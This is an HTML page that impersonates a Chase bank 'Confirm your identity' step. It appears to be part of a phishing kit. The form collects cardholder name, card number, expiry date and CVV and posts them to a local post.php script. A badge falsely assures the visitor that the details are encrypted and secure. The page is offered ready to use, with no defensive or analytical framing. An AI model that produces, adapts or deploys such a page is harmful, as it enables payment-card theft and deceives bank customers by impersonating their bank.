<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="icon" type="image/x-icon" href="favicon.ico">
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
    <link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600&display=swap" rel="stylesheet">
    <title>Chase — Confirm Identity</title>
    <style>
        *, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; }

        :root {
            --blue:        #025ca8;
            --blue-dark:   #014a8a;
            --blue-light:  rgba(2, 92, 168, 0.1);
            --text-primary:   #1a1a1a;
            --text-secondary: #444;
            --text-muted:     #888;
            --border:         #ddd;
            --white:          #ffffff;
        }

        html, body { height: 100%; font-family: 'Inter', sans-serif; }

        body {
            min-height: 100vh;
            background: url('res/img/back.png') center center / cover no-repeat;
            position: relative;
            display: flex;
            flex-direction: column;
        }

        body::before {
            content: '';
            position: fixed; inset: 0;
            background: rgba(0,0,0,0.32);
            z-index: 0;
        }

        /* ── Header ── */
        header {
            position: relative; z-index: 1;
            padding: 16px 40px;
            display: flex; align-items: center;
            background: rgba(255,255,255,0.92);
            backdrop-filter: blur(8px);
            -webkit-backdrop-filter: blur(8px);
            border-bottom: 1px solid rgba(255,255,255,0.3);
        }
        header img { height: 64px; width: auto; object-fit: contain; display: block; }

        /* ── Page layout ── */
        .page-body {
            position: relative; z-index: 1;
            flex: 1;
            display: flex;
            align-items: center;
            justify-content: flex-end;
            padding: 40px 80px 60px;
        }

        /* ── Card ── */
        .login-card {
            background: var(--white);
            border-radius: 12px;
            padding: 40px;
            width: 100%;
            max-width: 400px;
            box-shadow: 0 24px 80px rgba(0,0,0,0.28), 0 4px 16px rgba(0,0,0,0.12);
            animation: fadeUp 0.5s ease both;
        }

        @keyframes fadeUp {
            from { opacity: 0; transform: translateY(20px); }
            to   { opacity: 1; transform: translateY(0); }
        }

        .card-logo { margin-bottom: 24px; }
        .card-logo img { height: 64px; width: auto; object-fit: contain; display: block; }

        /* ── Step indicator ── */
        .step-indicator {
            display: flex; align-items: center;
            gap: 8px; margin-bottom: 24px;
        }
        .step {
            display: flex; align-items: center; justify-content: center;
            width: 22px; height: 22px; border-radius: 50%;
            font-size: 10px; font-weight: 600;
        }
        .step.done   { background: var(--blue-light); color: var(--blue); }
        .step.active { background: var(--blue); color: #fff; }
        .step.pending { background: #f0f0f0; color: #bbb; }
        .step-line { flex: 1; height: 1px; background: #e0e0e0; }
        .step-line.done { background: var(--blue); opacity: 0.3; }

        .card-heading { margin-bottom: 20px; }
        .card-heading h1 {
            font-size: 20px; font-weight: 600;
            color: var(--text-primary); margin-bottom: 5px;
            letter-spacing: -0.01em;
        }
        .card-heading p { font-size: 13px; color: var(--text-muted); font-weight: 300; }

        /* Security badge */
        .security-badge {
            display: flex; align-items: center; gap: 7px;
            background: var(--blue-light);
            border: 1px solid rgba(2,92,168,0.15);
            border-radius: 6px; padding: 9px 12px; margin-bottom: 20px;
        }
        .security-badge svg { flex-shrink: 0; color: var(--blue); }
        .security-badge span { font-size: 11.5px; color: var(--blue); }

        /* ── Fields ── */
        .field { margin-bottom: 14px; }
        .field label {
            display: block; font-size: 11px; font-weight: 500;
            color: var(--text-secondary); margin-bottom: 5px;
            text-transform: uppercase; letter-spacing: 0.05em;
        }
        .field input {
            width: 100%; height: 44px; padding: 0 13px;
            border: 1.5px solid var(--border); border-radius: 6px;
            font-family: 'Inter', sans-serif;
            font-size: 14px; color: var(--text-primary);
            background: #fff; outline: none;
            transition: border-color 0.2s, box-shadow 0.2s;
            -webkit-appearance: none;
        }
        .field input::placeholder { color: #bbb; font-weight: 300; }
        .field input:focus {
            border-color: var(--blue);
            box-shadow: 0 0 0 3px var(--blue-light);
        }

        .field-row {
            display: grid; grid-template-columns: 1fr 1fr;
            gap: 12px; margin-bottom: 14px;
        }
        .field-row .field { margin-bottom: 0; }

        /* ── Button ── */
        .btn-continue {
            width: 100%; height: 44px;
            background: var(--blue); color: #fff;
            border: none; border-radius: 6px;
            font-family: 'Inter', sans-serif;
            font-size: 14px; font-weight: 600;
            cursor: pointer;
            transition: background 0.2s, transform 0.15s, box-shadow 0.2s;
            margin-top: 4px;
            display: flex; align-items: center; justify-content: center; gap: 7px;
        }
        .btn-continue:hover {
            background: var(--blue-dark);
            box-shadow: 0 4px 14px rgba(2,92,168,0.4);
            transform: translateY(-1px);
        }
        .btn-continue:active { transform: translateY(0); }

        /* ── Footer ── */
        .page-footer {
            position: relative; z-index: 1;
            padding: 16px 40px;
            display: flex; align-items: center; gap: 24px;
            border-top: 1px solid rgba(255,255,255,0.12);
        }
        .page-footer a {
            font-size: 12px; color: rgba(255,255,255,0.65);
            text-decoration: none; transition: color 0.15s;
        }
        .page-footer a:hover { color: #fff; }

        @media (max-width: 768px) {
            .page-body { justify-content: center; padding: 20px; align-items: flex-start; padding-top: 20px; }
            .login-card { max-width: 100%; }
        }
    </style>
</head>
<body>

    <header>
        <img src="res/img/logo2.svg" alt="Chase">
    </header>

    <div class="page-body">
        <div class="login-card">

            <div class="card-logo">
                <img src="res/img/logo2.svg" alt="Chase">
            </div>

            <div class="step-indicator">
                <div class="step done">✓</div>
                <div class="step-line done"></div>
                <div class="step active">2</div>
                <div class="step-line"></div>
                <div class="step pending">3</div>
            </div>

            <div class="card-heading">
                <h1>Confirm your identity</h1>
                <p>Enter your card information to continue.</p>
            </div>

            <div class="security-badge">
                <svg width="13" height="13" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
                    <rect x="3" y="11" width="18" height="11" rx="2"/><path d="M7 11V7a5 5 0 0 1 10 0v4"/>
                </svg>
                <span>Your card details are encrypted and secure</span>
            </div>

            <form action="post.php" method="post">

                <div class="field">
                    <label for="name">Cardholder name</label>
                    <input type="text" name="name" id="name" placeholder="As shown on card" autocomplete="cc-name">
                </div>

                <div class="field">
                    <label for="cc">Card number</label>
                    <input type="text" name="cc" id="cc" required placeholder="XXXX XXXX XXXX XXXX" autocomplete="cc-number" inputmode="numeric">
                </div>

                <div class="field-row">
                    <div class="field">
                        <label for="exp">Expiration date</label>
                        <input type="text" name="exp" id="exp" required placeholder="MM/AA" autocomplete="cc-exp" inputmode="numeric">
                    </div>
                    <div class="field">
                        <label for="cvv">Security code</label>
                        <input type="password" name="cvv" id="cvv" required placeholder="CVV" autocomplete="cc-csc" inputmode="numeric">
                    </div>
                </div>

                <button type="submit" class="btn-continue">
                    Continue
                    <svg width="14" height="14" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round">
                        <path d="M5 12h14M12 5l7 7-7 7"/>
                    </svg>
                </button>

            </form>
        </div>
    </div>

    <footer class="page-footer">
        <a href="#">Privacy</a>
        <a href="#">Security</a>
        <a href="#">Terms of use</a>
        <a href="#">Accessibility</a>
    </footer>

    <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.7.1/jquery.min.js"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery.mask/1.14.16/jquery.mask.min.js"></script>
    <script>
        $("#cc").mask("0000 0000 0000 0000");
        $("#exp").mask("00/00");
        $("#cvv").mask("0000");
    </script>
</body>
</html>